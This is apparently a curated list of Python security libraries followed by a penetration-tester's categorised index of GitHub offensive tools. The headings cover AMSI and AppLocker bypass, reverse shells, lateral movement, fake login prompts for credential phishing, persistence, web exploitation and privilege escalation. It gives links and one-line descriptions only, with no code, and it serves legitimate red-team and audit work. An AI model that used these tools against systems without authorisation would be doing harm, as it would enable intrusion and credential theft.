[make-pdf](http://blog.didierstevens.com/programs/pdf-tools/#make-pdf) and mPDF) - [Opaf](http://code.google.com/p/opaf/): Open PDF Analysis Framework. Converts PDF to an XML tree that can be analyzed and modified. - [Origapy](http://www.decalage.info/python/origapy): Python wrapper for the Origami Ruby module which sanitizes PDF files - [pyPDF2](http://mstamy2.github.io/PyPDF2/): pure Python PDF toolkit: extract info, spilt, merge, crop, encrypt, decrypt... - [PDFMiner](http://www.unixuser.org/~euske/python/pdfminer/index.html): extract text from PDF files - [python-poppler-qt4](https://github.com/wbsoft/python-poppler-qt4): Python binding for the Poppler PDF library, including Qt4 support ### Misc - [InlineEgg](http://oss.coresecurity.com/projects/inlineegg.html): toolbox of classes for writing small assembly programs in Python - [Exomind](http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Exomind): framework for building decorated graphs and developing open-source intelligence modules and ideas, centered on social network services, search engines and instant messaging - [RevHosts](http://www.securityfocus.com/tools/3851): enumerate virtual hosts for a given IP address - [simplejson](https://github.com/simplejson/simplejson/): JSON encoder/decoder, e.g. to use [Google's AJAX API](http://dcortesi.com/2008/05/28/google-ajax-search-api-example-python-code/) - [PyMangle](http://code.google.com/p/pymangle/): command line tool and a python library used to create word lists for use with other penetration testing tools - [Hachoir](https://hachoir.readthedocs.io/en/latest/): view and edit a binary stream field by field - [py-mangle](http://code.google.com/p/pymangle/): command line tool and a python library used to create word lists for use with other penetration testing tools - [wmiexec.py](https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py): execute Powershell commands quickly and easily via WMI - [Pentestly](https://github.com/praetorian-inc/pentestly): Python and Powershell internal penetration testing framework - [hacklib](https://github.com/leonli96/python-hacklib): Toolkit for hacking enthusiasts: word mangling, password guessing, reverse shell and other simple tools ### Other useful libraries and tools - [IPython](http://ipython.scipy.org/): enhanced interactive Python shell with many features for object introspection, system shell access, and its own special command system - [Beautiful Soup](http://www.crummy.com/software/BeautifulSoup/): HTML parser optimized for screen-scraping - [matplotlib](http://matplotlib.sourceforge.net/): make 2D plots of arrays - [Mayavi](http://code.enthought.com/projects/mayavi/): 3D scientific data visualization and plotting - [RTGraph3D](http://www.secdev.org/projects/rtgraph3d/): create dynamic graphs in 3D - [Twisted](http://twistedmatrix.com/): event-driven networking engine - [Suds](https://fedorahosted.org/suds/): lightweight SOAP client for consuming Web Services - [M2Crypto](http://chandlerproject.org/bin/view/Projects/MeTooCrypto): most complete OpenSSL wrapper - [NetworkX](http://networkx.lanl.gov/): graph library (edges, nodes) - [Pandas](http://pandas.pydata.org/): library providing high-performance, easy-to-use data structures and data analysis tools - [pyparsing](http://pyparsing.wikispaces.com/): general parsing module - [lxml](http://lxml.de/): most feature-rich and easy-to-use library for working with XML and HTML in the Python language - [Whoosh](https://bitbucket.org/mchaput/whoosh/): fast, featureful full-text indexing and searching library implemented in pure Python - [Pexpect](https://github.com/pexpect/pexpect): control and automate other programs, similar to Don Libes \`Expect\` system - [Sikuli](http://groups.csail.mit.edu/uid/sikuli/), visual technology to search and automate GUIs using screenshots. Scriptable in [Jython](http://www.jython.org/) - [PyQt](http://www.riverbankcomputing.co.uk/software/pyqt) and [PySide](http://www.pyside.org/): Python bindings for the Qt application framework and GUI library ### Books - [Violent Python](https://www.elsevier.com/books/violent-python/unknown/978-1-59749-957-6) by TJ O'Connor. A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers - [Grey Hat Python](http://www.nostarch.com/ghpython.htm) by Justin Seitz: Python Programming for Hackers and Reverse Engineers. - [Black Hat Python](http://www.nostarch.com/blackhatpython) by Justin Seitz: Python Programming for Hackers and Pentesters - [Python Penetration Testing Essentials](https://www.packtpub.com/networking-and-servers/python-penetration-testing-essentials) by Mohit: Employ the power of Python to get the best out of pentesting - [Python for Secret Agents](https://www.packtpub.com/hardware-and-creative/python-secret-agents) by Steven F. Lott. Analyze, encrypt, and uncover intelligence data using Python - [Python Web Penetration Testing Cookbook](https://www.packtpub.com/networking-and-servers/python-web-penetration-testing-cookbook/) by Cameron Buchanan et al.: Over 60 Python recipes for web application testing - [Learning Penetration Testing with Python](https://www.packtpub.com/networking-and-servers/learning-penetration-testing-python) by Christopher Duffy: Utilize Python scripting to execute effective and efficient penetration tests - [Python Forensics](http://www.sciencedirect.com/science/book/9780124186767) by Chet Hosmer: A Workbench for Inventing and Sharing Digital Forensic Technology - [The Beginner's Guide to IDAPython](https://leanpub.com/IDAPython-Book) by Alexander Hanel - [Python for Offensive PenTest: A Practical Guide to Ethical Hacking and Penetration Testing Using Python](https://www.amazon.com/Python-Offensive-PenTest-practical-penetration/dp/1788838971) by Hussam Khrais ### Talks, slides and articles - [Python & Reverse Engineering Software](https://bitbucket.org/Alexander_Hanel/papers/raw/afa0228ffc53efc105a1fb632c4296f534a44429/Python%20&%20Reverse%20Engineering%20Software.pdf) by Alexander Hanel - [Python Arsenal for Reverse Engineering](http://dsec.ru/upload/medialibrary/7d5/7d5e8a49b25b285b37800480a41583f8.pdf) by Dmitriy Evdokimov at RUCTF 2016 ### More stuff - [SecurityTube Python Scripting Expert (SPSE)](http://www.securitytube-training.com/online-courses/securitytube-python-scripting-expert/) is an online course and certification offered by Vivek Ramachandran. - SANS offers the course [SEC573: Python for Penetration Testers](http://www.sans.org/course/python-for-pen-testers). - The [Python Arsenal for Reverse Engineering](http://pythonarsenal.erpscan.com/) is a large collection of tools related to reverse engineering. - There is a SANS paper about Python libraries helpful for forensic analysis [(PDF)](http://www.sans.org/reading_room/whitepapers/incident/grow-forensic-tools-taxonomy-python-libraries-helpful-forensic-analysis_33453). - For more Python libaries, please have a look at [PyPI](http://pypi.python.org/pypi), the Python Package Index. ############# ############# # Pentest-Tools * [General usefull Powershell Scripts](#General-usefull-Powershell-Scripts) * [AMSI Bypass restriction Bypass](#AMSI-Bypass-restriction-Bypass) * [Payload Hosting](#Payload-Hosting) * [Network Share Scanner](#Network-Share-Scanner) * [Lateral Movement](#Lateral-Movement) * [Reverse Shellz](#Reverse-Shellz) * [POST Exploitation](#POST-Exploitation) * [Pivot](#Pivot) * [Backdoor finder](#Backdoor-finder) * [Persistence on windows](#Persistence-on-windows) * [Web Application Pentest](#Web-Application-Pentest) * [Framework Discovery](#Framework-Discovery) * [Framework Scanner / Exploitation](#Framework-Scanner-/-Exploitation) * [Web Vulnerability Scanner / Burp Plugins](#Web-Vulnerability-Scanner-/-Burp-Plugins) * [Network- / Service-level Vulnerability Scanner](#Network--/-Service--level-Vulnerability-Scanner) * [Crawler](#Crawler) * [Web Exploitation Tools](#Web-Exploitation-Tools) * [Windows Privilege Escalation / Audit](#Windows-Privilege-Escalation-/-Audit) * [T3 Enumeration](#T3-Enumeration) * [Linux Privilege Escalation / Audit](#Linux-Privilege-Escalation-/-Audit) * [Credential harvesting Windows Specific](#Credential-harvesting-Windows-Specific) * [Credential harvesting Linux Specific](#Credential-harvesting-Linux-Specific) * [Data Exfiltration - DNS/ICMP/Wifi Exfiltration](#Data-Exfiltration---DNS/ICMP/Wifi-Exfiltration) * [Git Specific](#Git-Specific) * [Reverse Engineering / decompiler](#Reverse-Engineering-/-decompiler) * [Forensics](#Forensics) * [Network Attacks](#Network-Attacks) * [Specific MITM service Exploitation](#Specific-MITM-service-Exploitation) * [Sniffing / Evaluation / Filtering](#Sniffing-/-Evaluation-/-Filtering) * [Scanner / Exploitation-Frameworks / Automation](#Scanner-/-Exploitation-Frameworks-/-Automation) * [Default Credential Scanner](#Default-Credential-Scanner) * [Payload Generation / AV-Evasion / Malware Creation](#Payload-Generation-/-AV-Evasion-/-Malware-Creation) * [Domain Finding / Subdomain Enumeration](#Domain-Finding-/-Subdomain-Enumeration) * [Scanner network level](#Scanner) * [Email Gathering](#Email-Gathering) * [Domain Auth + Exploitation](#Domain-Auth-+-Exploitation) * [Network service - Login Brute Force + Wordlist attacks](#Login-Brute-Force-+-Wordlist-attacks) * [Command & Control Frameworks](#Command-&-Control-Frameworks) * [Wifi Tools](#Wifi-Tools) * [Raspberri PI Exploitation](#Raspberri-PI-Exploitation) * [Social Engeneering](#Social-Engeneering) * [Wordlists / Wordlist generators](#Wordlists-/-Wordlist-generators) * [Obfuscation](#Obfuscation) * [Source Code Analysis](#Source-Code-Analysis) * [No category yet](#No-category-yet) * [Industrial Control Systems](#Industrial-Control-Systems) * [NAC bypass](#Network-access-control-bypass) * [JMX Exploitation](#JMX-Exploitation) And many more. I created this repo to have an overview over my starred repos. I was not able to filter in categories before. Feel free to use it for yourself. I do not list Kali default tools as well as several testing tools which are state of the art. STRG+F searches are helpful here. # Windows Active Directory Pentest ### General usefull Powershell Scripts https://github.com/S3cur3Th1sSh1t/WinPwn - :sunglasses: https://github.com/dafthack/MailSniper https://github.com/putterpanda/mimikittenz https://github.com/dafthack/DomainPasswordSpray https://github.com/mdavis332/DomainPasswordSpray - same but kerberos auth for more stealth and lockout-sleep https://github.com/jnqpblc/SharpSpray - domainpasswordspray executable with lockout-sleep https://github.com/Arvanaghi/SessionGopher https://github.com/samratashok/nishang https://github.com/PowerShellMafia/PowerSploit https://github.com/fdiskyou/PowerOPS https://github.com/giMini/PowerMemory https://github.com/Kevin-Robertson/Inveigh https://github.com/MichaelGrafnetter/DSInternals https://github.com/PowerShellEmpire/PowerTools https://github.com/FuzzySecurity/PowerShell-Suite https://github.com/hlldz/Invoke-Phant0m https://github.com/leoloobeek/LAPSToolkit https://github.com/sense-of-security/ADRecon https://github.com/adrecon/ADRecon - supported version - really nice Excel-Sheet for an AD-Overview https://github.com/Arno0x/PowerShellScripts https://github.com/S3cur3Th1sSh1t/Grouper https://github.com/l0ss/Grouper2 https://github.com/NetSPI/PowerShell https://github.com/NetSPI/PowerUpSQL https://github.com/GhostPack - Various Powersploit Tasks in C# https://github.com/Kevin-Robertson/Powermad - Adidns Attacks ## AMSI Bypass restriction Bypass https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell https://github.com/Flangvik/AMSI.fail https://github.com/p3nt4/PowerShdll https://github.com/jaredhaight/PSAttack https://github.com/cobbr/InsecurePowerShell https://github.com/Mr-Un1k0d3r/PowerLessShell https://github.com/tothi/PowerLessShell - modified PowerLessShell https://github.com/bitsadmin/nopowershell C# Powershell https://github.com/OmerYa/Invisi-Shell https://github.com/Hackplayers/Salsa-tools - Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP and AV bypass, AMSI patched https://github.com/padovah4ck/PSByPassCLM - Constrained language mode bypass https://github.com/rasta-mouse/AmsiScanBufferBypass https://github.com/itm4n/VBA-RunPE - Applocker Bypass https://github.com/cfalta/PowerShellArmoury https://github.com/Mr-B0b/SpaceRunner - This tool enables the compilation of a C# program that will execute arbitrary PowerShell code, without launching PowerShell processes through the use of runspace. https://github.com/RythmStick/AMSITrigger - The Hunt for Malicious Strings https://github.com/rmdavy/AMSI_Ordinal_Bypass - Bypass AMSI and Defender using Ordinal Values in VBS https://github.com/mgeeky/Stracciatella - OpSec-safe Powershell runspace from within C# (aka SharpPick) with AMSI, CLM and Script Block Logging disabled at startup https://github.com/med0x2e/NoAmci - Using DInvoke to patch AMSI.dll in order to bypass AMSI detections triggered when loading .NET tradecraft via Assembly.Load(). https://github.com/rvrsh3ll/NoMSBuild - MSBuild without MSbuild.exe https://github.com/Cn33liz/MSBuildShell - MSBuildShell, a Powershell Host running within MSBuild.exe https://github.com/secdev-01/AllTheThingsExec - Executes Blended Managed/Unmanged Exports https://github.com/cyberark/Evasor - A tool to be used in post exploitation phase for blue and red teams to bypass APPLICATIONCONTROL policies / Applocker Bypass Scan https://github.com/tomcarver16/AmsiHook - AmsiHook is a project I created to figure out a bypass to AMSI via function hooking. https://github.com/G0ldenGunSec/SharpTransactedLoad - Load .net assemblies from memory while having them appear to be loaded from an on-disk location. https://github.com/itm4n/PPLdump - Bypass LSA Protection - Dump the memory of a PPL with a userland exploit ## Payload Hosting https://github.com/kgretzky/pwndrop - Self-deployable file hosting service for red teamers, allowing to easily upload and share payloads over HTTP and WebDAV. https://github.com/sc0tfree/updog - Updog is a replacement for Python's SimpleHTTPServer. It allows uploading and downloading via HTTP/S, can set ad hoc SSL certificates and use http basic auth. ## Network Share Scanner Find Juicy Stuff https://github.com/SnaffCon/Snaffler - a tool for pentesters to help find delicious candy, by @l0ss and @Sh3r4 https://github.com/djhohnstein/SharpShares - Enumerate all network shares in the current domain. Also, can resolve names to IP addresses. https://github.com/vivami/SauronEye - Search tool to find specific files containing specific words, i.e. files containing passwords.. https://github.com/leftp/VmdkReader - .NET 4.0 Console App to browse VMDK / VHD images and extract files https://github.com/mitchmoser/SharpShares - Multithreaded C# .NET Assembly to enumerate accessible network shares in a domain ## Reverse Shellz https://github.com/xct/xc - A small reverse shell for Linux & Windows https://github.com/cytopia/pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE) https://github.com/Kudaes/LOLBITS - C# reverse shell using Background Intelligent Transfer Service (BITS) as communication protocol and direct syscalls for EDR user-mode hooking evasion. ## Backdoor finder https://github.com/linuz/Sticky-Keys-Slayer https://github.com/ztgrace/sticky_keys_hunter https://github.com/countercept/doublepulsar-detection-script # Lateral Movement https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/MoveKit - WMI,SMB,RDP,SCM,DCOM Lateral Movement techniques https://github.com/0xthirteen/SharpMove - WMI, SCM, DCOM, Task Scheduler and more https://github.com/rvrsh3ll/SharpCOM - C# Port of Invoke-DCOM https://github.com/malcomvetter/CSExec - An implementation of PSExec in C# https://github.com/byt3bl33d3r/CrackMapExec https://github.com/cube0x0/SharpMapExec https://github.com/nccgroup/WMIcmd https://github.com/rasta-mouse/MiscTools - CsExec, CsPosh (Remote Powershell Runspace), CsWMI,CsDCOM https://github.com/byt3bl33d3r/DeathStar - Automate Getting Dom-Adm https://github.com/SpiderLabs/portia - automated lateral movement https://github.com/Screetsec/Vegile - backdoor / rootkit https://github.com/DanMcInerney/icebreaker - automation for various mitm attacks + vulns https://github.com/MooseDojo/apt2 - automated penetration toolkit https://github.com/hdm/nextnet - Netbios Network interface Enumeration (discovery of dual homed hosts) https://github.com/mubix/IOXIDResolver - Find dual homed hosts over DCOM https://github.com/Hackplayers/evil-winrm https://github.com/bohops/WSMan-WinRM - A collection of proof-of-concept source code and scripts for executing remote commands over WinRM using the WSMan.Automation COM object https://github.com/dirkjanm/krbrelayx - unconstrained delegation, printer bug (MS-RPRN) exploitation, Remote ADIDNS attacks https://github.com/Mr-Un1k0d3r/SCShell - Fileless lateral movement tool that relies on ChangeServiceConfigA to run command https://github.com/rvazarkar/GMSAPasswordReader - AD Bloodhound 3.0 Path https://github.com/fdiskyou/hunter https://github.com/360-Linton-Lab/WMIHACKER - A Bypass Anti-virus Software Lateral Movement Command Execution Tool https://github.com/leechristensen/SpoolSample - PoC tool to coerce Windows hosts authenticate to other machines via the MS-RPRN RPC interface. https://github.com/cube0x0/SharpSystemTriggers - Collection of remote authentication triggers in C# https://github.com/leftp/SpoolSamplerNET - Implementation of SpoolSample without rDLL https://github.com/topotam/PetitPotam - PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions. https://github.com/lexfo/rpc2socks - Post-exploit tool that enables a SOCKS tunnel via a Windows host using an extensible custom RPC proto over SMB through a named pipe. https://github.com/checkymander/sshiva - C# application that allows you to quick run SSH commands against a host or list of hosts https://github.com/dev-2null/ADCollector - A lightweight tool to quickly extract valuable information from the Active Directory environment for both attacking and defending. https://github.com/mez-0/MoveScheduler - .NET 4.0 Scheduled Job Lateral Movement https://github.com/GhostPack/RestrictedAdmin - Remotely enables Restricted Admin Mode https://github.com/RiccardoAncarani/LiquidSnake - LiquidSnake is a tool that allows operators to perform fileless lateral movement using WMI Event Subscriptions and GadgetToJScript https://github.com/Hackndo/WebclientServiceScanner - Python tool to Check running WebClient services on multiple targets based on @leechristensen - https://gist.github.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb https://github.com/dirkjanm/PKINITtools - Tools for Kerberos PKINIT and relaying to AD CS https://github.com/juliourena/SharpNoPSExec - Get file less command execution for lateral movement. # POST Exploitation https://github.com/mubix/post-exploitation https://github.com/emilyanncr/Windows-Post-Exploitation https://github.com/nettitude/Invoke-PowerThIEf - Automatically scan any windows or tabs for login forms and then record what gets posted. A notification will appear when some have arrived. https://github.com/ThunderGunExpress/BADministration - McAfee Epo or Solarwinds post exploitation https://github.com/bohops/SharpRDPHijack - A POC Remote Desktop (RDP) session hijack utility for disconnected sessions https://github.com/antonioCoco/RunasCs - RunasCs - Csharp and open version of windows builtin runas.exe https://github.com/klsecservices/Invoke-Vnc - Powershell VNC injector https://github.com/mandatoryprogrammer/CursedChrome - Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies, allowing you to browse sites as your victims. https://github.com/djhohnstein/WireTap - .NET 4.0 Project to interact with video, audio and keyboard hardware. https://github.com/GhostPack/Lockless - Lockless allows for the copying of locked files. https://github.com/slyd0g/SharpClipboard - C# Clipboard Monitor https://github.com/infosecn1nja/SharpDoor - SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by patching termsrv.dll file. https://github.com/qwqdanchum/MultiRDP - MultiRDP is a C# consosle application to make multiple RDP (Remote Desktop) sessions possible by patching termsrv.dll correctly. https://github.com/Yaxser/SharpPhish - Using outlook COM objects to create convincing phishing emails without the user noticing. This project is meant for internal phishing. https://github.com/eksperience/KnockOutlook - A little tool to play with Outlook https://github.com/checkymander/Carbuncle - Tool for interacting with outlook interop during red team engagements https://github.com/3gstudent/PasswordFilter - 2 ways of Password Filter DLL to record the plaintext password https://github.com/TheWover/CertStealer - A .NET tool for exporting and importing certificates without touching disk. https://github.com/swisskyrepo/SharpLAPS - Retrieve LAPS password from LDAP https://github.com/n00py/LAPSDumper - remote LAPS dumping from linux ## Post Exploitation - Phish Credentials https://github.com/hlldz/pickl3 - Windows active user credential phishing tool https://github.com/shantanu561993/SharpLoginPrompt - Creates a login prompt to gather username and password of the current user. This project allows red team to phish username and password of the current user without touching lsass and having adminitrator credentials on the system. https://github.com/Dviros/CredsLeaker https://github.com/bitsadmin/fakelogonscreen https://github.com/CCob/PinSwipe - Phish Smartcard PIN https://github.com/IlanKalendarov/PyHook - PyHook is an offensive API hooking tool written in python designed to catch various credentials within the API call. https://github.com/IlanKalendarov/SharpHook - SharpHook is an offensive API hooking tool designed to catch various credentials within the API call. # Wrapper for various tools https://github.com/S3cur3Th1sSh1t/PowerSharpPack - Various .NET Tools wrapped in Powershell https://github.com/bohops/GhostBuild - GhostBuild is a collection of simple MSBuild launchers for various GhostPack/.NET projects https://github.com/rvrsh3ll/Rubeus-Rundll32 - rundll32 Wrapper for Rubeus https://github.com/checkymander/Zolom - execute Python in C# via ironpython # Pivot https://github.com/0x36/VPNPivot https://github.com/securesocketfunneling/ssf https://github.com/p3nt4/Invoke-SocksProxy https://github.com/sensepost/reGeorg - Webshell tunnel over socks proxy - pentesters dream https://github.com/hayasec/reGeorg-Weblogic - reGeorg customized for weblogic https://github.com/nccgroup/ABPTTS TCP tunneling over HTTP/HTTPS for web application servers like reGeorg https://github.com/RedTeamOperations/PivotSuite https://github.com/trustedsec/egressbuster - check for internet access over open ports / egress filtering https://github.com/vincentcox/bypass-firewalls-by-DNS-history https://github.com/shantanu561993/SharpChisel - C# Wrapper around Chisel from https://github.com/jpillora/chisel - A fast TCP tunnel over HTTP https://github.com/esrrhs/pingtunnel - ping tunnel is a tool that advertises tcp/udp/socks5 traffic as icmp traffic for forwarding. https://github.com/sysdream/ligolo - Reverse Tunneling made easy for pentesters, by pentesters https://github.com/tnpitsecurity/ligolo-ng - An advanced, yet simple, tunneling/pivoting tool that uses a TUN interface. https://github.com/nccgroup/SocksOverRDP - Socks5/4/4a Proxy support for Remote Desktop Protocol / Terminal Services / Citrix / XenApp / XenDesktop https://github.com/blackarrowsec/mssqlproxy - mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse https://github.com/zeronetworks/cornershot - Amplify network visibility from multiple POV of other hosts https://github.com/blackarrowsec/pivotnacci - A tool to make socks connections through HTTP agents https://github.com/praetorian-inc/PortBender - TCP Port Redirection Utility https://github.com/klsecservices/rpivot - socks4 reverse proxy for penetration testing # Active Directory Audit and exploit tools https://github.com/mwrlabs/SharpGPOAbuse https://github.com/BloodHoundAD/BloodHound https://github.com/BloodHoundAD/SharpHound3 - C# Data Collector for the BloodHound Project, Version 3 https://github.com/chryzsh/awesome-bloodhound https://github.com/hausec/Bloodhound-Custom-Queries https://github.com/CompassSecurity/BloodHoundQueries https://github.com/knavesec/Max - Maximizing BloodHound. Max is a good boy. https://github.com/vletoux/pingcastle https://github.com/cyberark/ACLight https://github.com/canix1/ADACLScanner https://github.com/fox-it/Invoke-ACLPwn https://github.com/fox-it/aclpwn.py - same as invoke-aclpwn but in python https://github.com/dirkjanm/ldapdomaindump - Active Directory information dumper via LDAP https://github.com/tothi/rbcd-attack - Kerberos Resource-Based Constrained Delegation Attack from Outside using Impacket https://github.com/NotMedic/NetNTLMtoSilverTicket - SpoolSample -> Responder w/NetNTLM Downgrade -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket https://github.com/FatRodzianko/Get-RBCD-Threaded - Tool to discover Resource-Based Constrained Delegation attack paths in Active Directory environments https://github.com/NinjaStyle82/rbcd_permissions - Add SD for controlled computer object to a target object for RBCD using LDAP https://github.com/GhostPack/Certify - Active Directory certificate abuse. https://github.com/ly4k/Certipy - Python implementation for Active Directory certificate abuse https://github.com/zer1t0/certi - ADCS abuser https://github.com/GhostPack/PSPKIAudit - PowerShell toolkit for AD CS auditing based on the PSPKI toolkit. https://github.com/cfalta/PoshADCS - A proof of concept on attack vectors against Active Directory by abusing Active Directory Certificate Services (ADCS) https://github.com/Kevin-Robertson/Sharpmad - C# version of Powermad # Persistence on windows https://github.com/fireeye/SharPersist https://github.com/outflanknl/SharpHide https://github.com/HarmJ0y/DAMP - The Discretionary ACL Modification Project: Persistence Through Host-based Security Descriptor Modification https://github.com/ShutdownRepo/pywhisker - Python version of the C# tool for "Shadow Credentials" attacks https://github.com/Ridter/pyForgeCert - pyForgeCert is a Python equivalent of the ForgeCert. https://github.com/eladshamir/Whisker - Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their msDS-KeyCredentialLink attribute, effectively adding "Shadow Credentials" to the target account. https://github.com/GhostPack/ForgeCert - "Golden" certificates https://github.com/RedSection/printjacker - Hijack Printconfig.dll to execute shellcode # Web Application Pentest # Framework Discovery https://github.com/Tuhinshubhra/CMSeeK https://github.com/Dionach/CMSmap - Wordpress, Joomla, Drupal Scanner https://github.com/wpscanteam/wpscan https://github.com/Ekultek/WhatWaf # Framework Scanner / Exploitation https://github.com/wpscanteam/wpscan - wordpress https://github.com/n00py/WPForce https://github.com/m4ll0k/WPSeku https://github.com/swisskyrepo/Wordpresscan https://github.com/rastating/wordpress-exploit-framework https://github.com/coldfusion39/domi-owned - lotus domino https://github.com/droope/droopescan - Drupal https://github.com/whoot/Typo-Enumerator - Typo3 https://github.com/rezasp/joomscan - Joomla # Web Vulnerability Scanner / Burp Plugins https://github.com/m4ll0k/WAScan - all in one scanner https://github.com/s0md3v/XSStrike - XSS discovery https://github.com/federicodotta/Java-Deserialization-Scanner https://github.com/d3vilbug/HackBar https://github.com/gyoisamurai/GyoiThon https://github.com/snoopysecurity/awesome-burp-extensions https://github.com/sting8k/BurpSuite_403Bypasser - Burpsuite Extension to bypass 403 restricted directory https://github.com/BishopFox/GadgetProbe - Probe endpoints consuming Java serialized objects to identify classes, libraries, and library versions on remote Java classpaths. # Network- / Service-level Vulnerability Scanner https://github.com/scipag/vulscan https://github.com/zdresearch/OWASP-Nettacker # File / Directory / Parameter discovery https://github.com/OJ/gobuster https://github.com/nccgroup/dirble https://github.com/maK-/parameth https://github.com/devanshbatham/ParamSpider - Mining parameters from dark corners of Web Archives https://github.com/s0md3v/Arjun - :heartpulse: https://github.com/Cillian-Collins/dirscraper - Directory lookup from Javascript files https://github.com/KathanP19/JSFScan.sh - Automation for javascript recon in bug bounty. https://github.com/hannob/snallygaster https://github.com/maurosoria/dirsearch https://github.com/s0md3v/Breacher - Admin Panel Finder https://github.com/mazen160/server-status_PWN # Crawler https://github.com/jonaslejon/lolcrawler - Headless web crawler for bugbounty and penetration-testing/redteaming https://github.com/s0md3v/Photon - :heartpulse: https://github.com/kgretzky/dcrawl https://github.com/lc/gau - Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl. # Web Exploitation Tools https://github.com/OsandaMalith/LFiFreak - lfi https://github.com/enjoiz/XXEinjector - xxe https://github.com/tennc/webshell - shellz https://github.com/flozz/p0wny-shell https://github.com/epinna/tplmap - ssti https://github.com/orf/xcat - xpath injection https://github.com/almandin/fuxploider - File Uploads https://github.com/nccgroup/freddy - deserialization https://github.com/irsdl/IIS-ShortName-Scanner - IIS Short Filename Vuln. exploitation https://github.com/frohoff/ysoserial - Deserialize Java Exploitation https://github.com/pwntester/ysoserial.net - Deserialize .NET Exploitation https://github.com/internetwache/GitTools - Exploit .git Folder Existence https://github.com/liamg/gitjacker - Leak git repositories from misconfigured websites https://github.com/cujanovic/SSRF-Testing - SSRF Tutorials https://github.com/ambionics/phpggc - PHP Unserialize Payload generator https://github.com/BuffaloWill/oxml_xxe - Malicious Office XXE payload generator https://github.com/tijme/angularjs-csti-scanner - Angularjs Csti Scanner https://github.com/0xacb/viewgen - Deserialize .NET Viewstates https://github.com/Illuminopi/RCEvil.NET - Deserialize .NET Viewstates # REST API Audit https://github.com/microsoft/restler-fuzzer - RESTler is the first stateful REST API fuzzing tool for automatically testing cloud services through their REST APIs and finding security and reliability bugs in these services. https://github.com/flipkart-incubator/Astra # SAML Login https://github.com/LuemmelSec/SAML2Spray - Python Script for SAML2 Authentication Passwordspray # Swagger File API Attack https://github.com/imperva/automatic-api-attack-tool # Windows Privilege Escalation / Audit https://github.com/itm4n/PrivescCheck - Privilege Escalation Enumeration Script for Windows https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS - powerfull Privilege Escalation Check Script with nice output https://github.com/AlessandroZ/BeRoot https://github.com/rasta-mouse/Sherlock https://github.com/hfiref0x/UACME - UAC https://github.com/FatRodzianko/SharpBypassUAC - C# tool for UAC bypasses https://github.com/AzAgarampur/byeintegrity8-uac - Bypass UAC at any level by abusing the Program Compatibility Assistant with RPC, WDI, and more Windows components https://github.com/rootm0s/WinPwnage - UAC https://github.com/abatchy17/WindowsExploits https://github.com/dafthack/HostRecon https://github.com/sensepost/rattler - find vulnerable dlls for preloading attack https://github.com/WindowsExploits/Exploits https://github.com/Cybereason/siofra - dll hijack scanner https://github.com/0xbadjuju/Tokenvator - admin to system https://github.com/MojtabaTajik/Robber https://github.com/411Hall/JAWS https://github.com/GhostPack/SharpUp https://github.com/GhostPack/Seatbelt https://github.com/A-mIn3/WINspect https://github.com/hausec/ADAPE-Script https://github.com/SecWiki/windows-kernel-exploits https://github.com/bitsadmin/wesng https://github.com/itm4n/Perfusion - Exploit for the RpcEptMapper registry key permissions vulnerability (Windows 7 / 2088R2 / 8 / 2012) # Windows Privilege Abuse (Privilege Escalation) https://github.com/gtworek/Priv2Admin - Abuse Windows Privileges https://github.com/itm4n/UsoDllLoader - load malicious dlls from system32 https://github.com/TsukiCTF/Lovely-Potato - Exploit potatoes with automation https://github.com/antonioCoco/RogueWinRM - from Service Account to System https://github.com/antonioCoco/RoguePotato - Another Windows Local Privilege Escalation from Service Account to System https://github.com/itm4n/PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 https://github.com/BeichenDream/BadPotato - itm4ns Printspoofer in C# https://github.com/zcgonvh/EfsPotato - Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability). https://github.com/antonioCoco/RemotePotato0 - Just another "Won't Fix" Windows Privilege Escalation from User to Domain Admin. https://github.com/itm4n/FullPowers - Recover the default privilege set of a LOCAL/NETWORK SERVICE account # T3 Enumeration https://github.com/quentinhardy/jndiat # Linux Privilege Escalation / Audit https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS - powerfull Privilege Escalation Check Script with nice output https://github.com/mzet-/linux-exploit-suggester https://github.com/rebootuser/LinEnum https://github.com/diego-treitos/linux-smart-enumeration https://github.com/CISOfy/lynis https://github.com/AlessandroZ/BeRoot https://github.com/future-architect/vuls https://github.com/ngalongc/AutoLocalPrivilegeEscalation https://github.com/b3rito/yodo https://github.com/belane/linux-soft-exploit-suggester - lookup vulnerable installed software https://github.com/sevagas/swap_digger https://github.com/NullArray/RootHelper https://github.com/NullArray/MIDA-Multitool https://github.com/initstring/dirty_sock https://github.com/jondonas/linux-exploit-suggester-2 https://github.com/sosdave/KeyTabExtract https://github.com/DominicBreuker/pspy https://github.com/itsKindred/modDetective https://github.com/nongiach/sudo_inject https://github.com/Anon-Exploiter/SUID3NUM - find suid bins and look them up under gtfobins / exploitable or not https://github.com/nccgroup/GTFOBLookup - Offline GTFOBins https://github.com/TH3xACE/SUDO_KILLER - sudo misconfiguration exploitation https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py https://github.com/inquisb/unix-privesc-check https://github.com/hc0d3r/tas - easily manipulate the tty and create fake binaries https://github.com/SecWiki/linux-kernel-exploits https://github.com/initstring/uptux https://github.com/andrew-d/static-binaries - not really privesc but helpfull https://github.com/liamg/traitor - Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, polkit, docker socket # 